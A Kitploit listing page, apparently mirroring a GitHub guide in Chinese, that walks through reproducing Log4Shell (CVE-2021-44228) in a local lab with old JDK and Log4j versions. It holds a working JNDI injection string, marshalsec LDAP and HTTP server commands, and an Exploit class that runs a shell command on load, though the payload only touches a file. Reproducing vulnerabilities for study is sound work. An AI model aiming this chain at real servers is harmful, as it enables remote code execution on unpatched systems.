Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-44228 — # CVE-2021-44228(Log4Shell)复现分步指南,使用 JDK 8u20、存在漏洞的 Log4j 2.14.1、marshalsec LDAP 服务器及自定义载荷编译。 | Kitploit
工具/GitHubGitHub/racoon-rac/cve-2021-44228
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育Payload 开发实验室与实践
GitHubracoon-rac/cve-2021-44228

CVE-2021-44228

# CVE-2021-44228(Log4Shell)复现分步指南,使用 JDK 8u20、存在漏洞的 Log4j 2.14.1、marshalsec LDAP 服务器及自定义载荷编译。

查看仓库
53年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-44228

我觉得这边的内容更具实用性(哭)christophetd/log4shell-vulnerable-app

因为只是出于兴趣、一时兴起去调查的,所以可能有些地方含糊不清或者存在错误。
请务必自行承担责任。

搭建复现环境。

只要是在 Linux 环境下,应该就能运行。

1. 下载 jdk

从 jdk8u191 开始,新增了 com.sun.jndi.rmi.object.trustURLCodebase 选项,默认值为 False。 在这种状态下无法加载外部准备的 class,所以这次我们使用更早之前的版本。
(也许能加载内部类或进行绕过??) https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

直接下载 jdk8u20
解压后,随便放到 /opt 等目录下即可。

2. 准备存在漏洞的 log4j

下载 log4j
解压后取出 log4j-api-2.14.1.jar 和 log4j-core-2.14.1.jar(这次我把它们放到了名为 log4japp 的目录中)。

3. 设置 log4j 的 classpath

root@kitploit:~
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar

4. 创建一个简单的应用程序

root@kitploit:~
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // /resource がないと動きませんでした。
        }
}

5. 准备 marshalsec

mbechler/marshalsec
将 ldap 查询重定向到 Web 端。

root@kitploit:~
mvn clean package -DskipTests

开始监听

root@kitploit:~
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"

同时准备好 marshalsec 的重定向目标

root@kitploit:~
python3 -m http.server 8888

6. 准备要传给 marshalsec 的类

root@kitploit:~
class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}

使用安装好的 jdk8u20 进行编译

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac Exploit.java

7. 实施 exploit

使用安装好的 jdk8u20 进行编译和执行。

root@kitploit:~
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j

screenshot

下载工具